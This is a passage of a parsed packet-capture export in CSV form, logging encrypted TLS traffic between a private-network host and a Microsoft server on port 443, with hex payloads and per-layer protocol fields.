488081d7023e473c68be7ba2126d6b4720320c00016903001861041f049dcd138b3efeae2e61046dadc125689ec535078651d6849e75605863991cc4dcb261de085a48951bc95eb4b1aa019728071af9872fa956e4ec620188cb6c1df6036a3a0050d36dd6c70a48ed671b473cb88042df1a671a3cbc6940aad58308040100a5c009df8e4e907d5fa197d056be82944005d3a7a3bcc95f6367f90db855d90dfe91f5a6046e90f0a709ea5cc2caa9cf75207ceb317e50cec00f1b1d83a50e0a02973305bfb331ef22e9f8cf1ea94eb3e8dfa1a3212b02fd32020130c6c290831d81a27213ce5fbe5e0d43d48cbf00d3497cbe4f30a41cbd7fbac3930942f299afac27dc404f21eeee58e4148229bf720cbf8e2d1a5893e12923c40879e4f7c08044f34de28d8d7d24bce53320e37cf1d66bc032672469b7cab5cc071a4d8f56a3d9fbb8efd3b5006b3a77b15dfc22af0590a9acb2e61a21494d3256034a254e51bc2508ec7a73b3f4026bcb0f22afb2a2bd87420099882a8f8a1bd60915a02c0e000000\"\"}}]\"\n2026-06-14 14:22:50.149595,90,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448401 Ack=4197192545,bc24112907bbbc2411360d0c080045000028af9b4000800670010a98980b2862102efa0e01bb395dcc11fa2c1361501003fbc1df0000,\".$.)...$.6\n...E..(..@...p.\n...(b......9]...,.aP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44955, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28673, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448401, \"\"ack\"\": 4197192545, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 49631, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.158902,91,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=962448401 Ack=4197192545,bc24112907bbbc2411360d0c0800450000c6af9c400080066f620a98980b2862102efa0e01bb395dcc11fa2c1361501803fbd998000016030300661000006261048502d11294692fe27743f60c329406af7867056a417ccd4fef0cd9db5abbe0f60ca75076fbbd5ac4f686c2352da5764c2e93ddf78120904ac35fac0146429eac4d4a5606bf0538f3f6770c61c98d882b080bd23d1a7bd2bb2ddc8d00726263e214030300010116030300280000000000000000c0d5e675171790f6aa304d0118033e0e923435cd8311bbd1d220c448c798ba31,a......i/.wC..2...xg.jA|.O....Z.....Pv..Z....5-.vL..... .J._..FB..MJV...8..w.a...+...=.{..-...rbc.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 44956, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28514, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448401, \"\"ack\"\": 4197192545, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 55704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\x85\\\\x02\\\\xd1\\\\x12\\\\x94i/\\\\xe2wC\\\\xf6\\\\x0c2\\\\x94\\\\x06\\\\xafxg\\\\x05jA|\\\\xcdO\\\\xef\\\\x0c\\\\xd9\\\\xdbZ\\\\xbb\\\\xe0\\\\xf6\\\\x0c\\\\xa7Pv\\\\xfb\\\\xbdZ\\\\xc4\\\\xf6\\\\x86\\\\xc25-\\\\xa5vL.\\\\x93\\\\xdd\\\\xf7\\\\x81 \\\\x90J\\\\xc3_\\\\xac\\\\x01FB\\\\x9e\\\\xacMJV\\\\x06\\\\xbf\\\\x058\\\\xf3\\\\xf6w\\\\x0ca\\\\xc9\\\\x8d\\\\x88+\\\\x08\\\\x0b\\\\xd2=\\\\x1a{\\\\xd2\\\\xbb-\\\\xdc\\\\x8d\\\\x00rbc\\\\xe2' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xc0\\\\xd5\\\\xe6u\\\\x17\\\\x17\\\\x90\\\\xf6\\\\xaa0M\\\\x01\\\\x18\\\\x03>\\\\x0e\\\\x9245\\\\xcd\\\\x83\\\\x11\\\\xbb\\\\xd1\\\\xd2 \\\\xc4H\\\\xc7\\\\x98\\\\xba1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.158920,92,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197192545 Ack=962448559,bc2411360d0cbc24112907bb080045000028801a40004006df822862102e0a98980b01bbfa0efa2c1361395dccaf5010003fdb4d0000,\".$.6\n..$.)....E..(..@.@...(b..\n........,.a9]..P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32794, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57218, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192545, \"\"ack\"\": 962448559, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.616856,93,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=4197192545 Ack=962448559,bc2411360d0cbc24112907bb0800450001d3801b40004006ddd62862102e0a98980b01bbfa0efa2c1361395dccaf5018003fdcf80000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07cb16955035f466bbd1ed6982f8dd9a835d3db66306d7bd1dc94db45b1b5baf6ddf218ab76cd60f52a24e51e46b6ca22915ff2216996d4ba2cb7cdd621b81712388f153520ac9bf726f2806aaf5b0244486b715c6b0be58e607685a393fd1b685b7e0f0d03cf3354c76e2fa2f55d729329c786bee1aa754826caebf02e511880c997523cf433d567cc37a5d239c4826e01fd0cf616fcc9168e8465c846acd55852966ba7662885685ae3cc82afd3127a99500117f3bfcb9a900f3ed737f54187cf4776755d4d133547ec830c8c7485aae6f6f9b6d646981c2a3e155edde28421184290ef9825486b119ba49524ba430fd25efbe8da54a408b1bee0b8057462b5539be524f36b5aae9f5c784afa853e293e14030300010116030300280000000000000000b70a380f7d9ba4a8b5d26bb62abe2971c7a1a94a00a4e6acd7096ec51b9659fa1703030040000000000000000124af138b4ebec7d7e5df919eb9ab6fdbeac6c64785cc381305f788f7634f44ae6b39123971e1dec0364ec0a40a1638a3c22456fdda488e47,\".\n8.}.....k.*.)q...J.....\tn...Y.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 32795, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 56790, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192545, \"\"ack\"\": 962448559, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56568, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|\\\\xb1iU\\\\x03_Fk\\\\xbd\\\\x1e\\\\xd6\\\\x98/\\\\x8d\\\\xd9\\\\xa85\\\\xd3\\\\xdbf0m{\\\\xd1\\\\xdc\\\\x94\\\\xdbE\\\\xb1\\\\xb5\\\\xba\\\\xf6\\\\xdd\\\\xf2\\\\x18\\\\xabv\\\\xcd`\\\\xf5*$\\\\xe5\\\\x1eF\\\\xb6\\\\xca\\\"\"\\\\x91_\\\\xf2!i\\\\x96\\\\xd4\\\\xba,\\\\xb7\\\\xcd\\\\xd6!\\\\xb8\\\\x17\\\\x128\\\\x8f\\\\x155 \\\\xac\\\\x9b\\\\xf7&\\\\xf2\\\\x80j\\\\xaf[\\\\x02DHkq\\\\\\\\k\\\\x0b\\\\xe5\\\\x8e`v\\\\x85\\\\xa3\\\\x93\\\\xfd\\\\x1bh[~\\\\x0f\\\\r\\\\x03\\\\xcf3T\\\\xc7n/\\\\xa2\\\\xf5]r\\\\x93)\\\\xc7\\\\x86\\\\xbe\\\\xe1\\\\xaauH&\\\\xca\\\\xeb\\\\xf0.Q\\\\x18\\\\x80\\\\xc9\\\\x97R<\\\\xf43\\\\xd5g\\\\xcc7\\\\xa5\\\\xd29\\\\xc4\\\\x82n\\\\x01\\\\xfd\\\\x0c\\\\xf6\\\\x16\\\\xfc\\\\xc9\\\\x16\\\\x8e\\\\x84e\\\\xc8F\\\\xac\\\\xd5XR\\\\x96k\\\\xa7f(\\\\x85hZ\\\\xe3\\\\xcc\\\\x82\\\\xaf\\\\xd3\\\\x12z\\\\x99P\\\\x01\\\\x17\\\\xf3\\\\xbf\\\\xcb\\\\x9a\\\\x90\\\\x0f>\\\\xd77\\\\xf5A\\\\x87\\\\xcfGvu]M\\\\x135G\\\\xec\\\\x83\\\\x0c\\\\x8ct\\\\x85\\\\xaa\\\\xe6\\\\xf6\\\\xf9\\\\xb6\\\\xd6F\\\\x98\\\\x1c*>\\\\x15^\\\\xdd\\\\xe2\\\\x84!\\\\x18B\\\\x90\\\\xef\\\\x98%Hk\\\\x11\\\\x9b\\\\xa4\\\\x95$\\\\xbaC\\\\x0f\\\\xd2^\\\\xfb\\\\xe8\\\\xdaT\\\\xa4\\\\x08\\\\xb1\\\\xbe\\\\xe0\\\\xb8\\\\x05tb\\\\xb5S\\\\x9b\\\\xe5$\\\\xf3kZ\\\\xae\\\\x9f\\\\\\\\xJ\\\\xfa\\\\x85>)>' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xb7\\\\n8\\\\x0f}\\\\x9b\\\\xa4\\\\xa8\\\\xb5\\\\xd2k\\\\xb6*\\\\xbe)q\\\\xc7\\\\xa1\\\\xa9J\\\\x00\\\\xa4\\\\xe6\\\\xac\\\\xd7\\\\tn\\\\xc5\\\\x1b\\\\x96Y\\\\xfa' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01$\\\\xaf\\\\x13\\\\x8bN\\\\xbe\\\\xc7\\\\xd7\\\\xe5\\\\xdf\\\\x91\\\\x9e\\\\xb9\\\\xabo\\\\xdb\\\\xea\\\\xc6\\\\xc6G\\\\x85\\\\xcc8\\\\x13\\\\x05\\\\xf7\\\\x88\\\\xf7cOD\\\\xaek9\\\\x129q\\\\xe1\\\\xde\\\\xc06N\\\\xc0\\\\xa4\\\\n\\\\x168\\\\xa3\\\\xc2$V\\\\xfd\\\\xdaH\\\\x8eG' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.617039,94,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=962448559 Ack=4197192972,bc24112907bbbc2411360d0c080045000028af9d400080066fff0a98980b2862102efa0e01bb395dccaffa2c150c50100400bf910000,\".$.)...$.6\n...E..(..@...o.\n...(b......9]...,..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44957, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28671, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448559, \"\"ack\"\": 4197192972, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 49041, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.617995,95,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448559 Ack=4197192972,bc24112907bbbc2411360d0c08004500007faf9e400080066fa70a98980b2862102efa0e01bb395dccaffa2c150c50180400d64400001703030052000000000000000171b853d5ae30900c963c08eb4b059300bab8a9c76d30c1a46e3b6ecbcb042d34a1e512c7adfc957178b342188518b63ce059c14acf254d7f1fabd0d55f7729d3cac5b3be0ff7a621a5ff,\".$.)...$.6\n...E.....@...o.\n...(b......9]...,..P....D......R........q.S..0...<..K.......m0..n;n...-4.......qx.B....<.Y.J.%M....._w)........!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 44958, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28583, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448559, \"\"ack\"\": 4197192972, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 54852, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01q\\\\xb8S\\\\xd5\\\\xae0\\\\x90\\\\x0c\\\\x96<\\\\x08\\\\xebK\\\\x05\\\\x93\\\\x00\\\\xba\\\\xb8\\\\xa9\\\\xc7m0\\\\xc1\\\\xa4n;n\\\\xcb\\\\xcb\\\\x04-4\\\\xa1\\\\xe5\\\\x12\\\\xc7\\\\xad\\\\xfc\\\\x95qx\\\\xb3B\\\\x18\\\\x85\\\\x18\\\\xb6<\\\\xe0Y\\\\xc1J\\\\xcf%M\\\\x7f\\\\x1f\\\\xab\\\\xd0\\\\xd5_w)\\\\xd3\\\\xca\\\\xc5\\\\xb3\\\\xbe\\\\x0f\\\\xf7\\\\xa6!\\\\xa5\\\\xff' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.618021,96,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197192972 Ack=962448646,bc2411360d0cbc24112907bb080045000028801c40004006df802862102e0a98980b01bbfa0efa2c150c395dcd065010003fdb4d0000,\".$.6\n..$.)....E..(..@.@...(b..\n........,..9]..P..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32796, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57216, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192972, \"\"ack\"\": 962448646, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.618029,97,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448646 Ack=4197192972,bc24112907bbbc2411360d0c08004500009caf9f400080066f890a98980b2862102efa0e01bb395dcd06fa2c150c50180400d5cf0000170303006f0000000000000002dc3fdadfd281ecbf638f8bad1e9b15055909bb19901f0a030bd56fd525678d5b65b0dac49c957cf5161926645774e0b1c5de65e443cc253afa95e9cd7ef54e0858a42bed726c506c0f86733c0530c9eb34dbf2271ef61a115f9e35a23d7cd21e46521af59e26c3,\".$.)...$.6\n...E.....@...o.\n...(b......9]...,..P...........o.........?......c.......Y\t....\n...o.%g.[e.....|...&dWt....e.C.%:....~.N.X.+.rlPl..s<.0..4..'...._.5.=|..FR...&.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 44959, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28553, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448646, \"\"ack\"\": 4197192972, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 54735, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xdc?\\\\xda\\\\xdf\\\\xd2\\\\x81\\\\xec\\\\xbfc\\\\x8f\\\\x8b\\\\xad\\\\x1e\\\\x9b\\\\x15\\\\x05Y\\\\t\\\\xbb\\\\x19\\\\x90\\\\x1f\\\\n\\\\x03\\\\x0b\\\\xd5o\\\\xd5%g\\\\x8d[e\\\\xb0\\\\xda\\\\xc4\\\\x9c\\\\x95|\\\\xf5\\\\x16\\\\x19&dWt\\\\xe0\\\\xb1\\\\xc5\\\\xdee\\\\xe4C\\\\xcc%:\\\\xfa\\\\x95\\\\xe9\\\\xcd~\\\\xf5N\\\\x08X\\\\xa4+\\\\xedrlPl\\\\x0f\\\\x86s<\\\\x050\\\\xc9\\\\xeb4\\\\xdb\\\\xf2'\\\\x1e\\\\xf6\\\\x1a\\\\x11_\\\\x9e5\\\\xa2=|\\\\xd2\\\\x1eFR\\\\x1a\\\\xf5\\\\x9e&\\\\xc3\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:50.618035,98,TCP 40.98.16.46:443 -> 10.152.152.11:64014,40.98.16.46,10.152.152.11,443,64014,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4197192972 Ack=962448762,bc2411360d0cbc24112907bb080045000028801d40004006df7f2862102e0a98980b01bbfa0efa2c150c395dcd7a5010003fdb4d0000,\".$.6\n..$.)....E..(..@.@...(b..\n........,..9].zP..?.M..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 32797, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 57215, \"\"src\"\": \"\"40.98.16.46\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64014, \"\"seq\"\": 4197192972, \"\"ack\"\": 962448762, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56141, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:50.618076,99,TCP 10.152.152.11:64014 -> 40.98.16.46:443,10.152.152.11,40.98.16.46,64014,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=962448762 Ack=4197192972,bc24112907bbbc2411360d0c08004500004eafa0400080066fd60a98980b2862102efa0e01bb395dcd7afa2c150c501804005b3b0000170303002100000000000000035a99592699f4f9646497f3e352b7fe0f5bd073b9a763a9db49,\".$.)...$.6\n...E..N..@...o.\n...(b......9].z.,..P...[;......!........Z.Y&...dd...R...[.s..c..I\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 44960, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28630, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.46\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64014, \"\"dport\"\": 443, \"\"seq\"\": 962448762, \"\"ack\"\": 4197192972, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 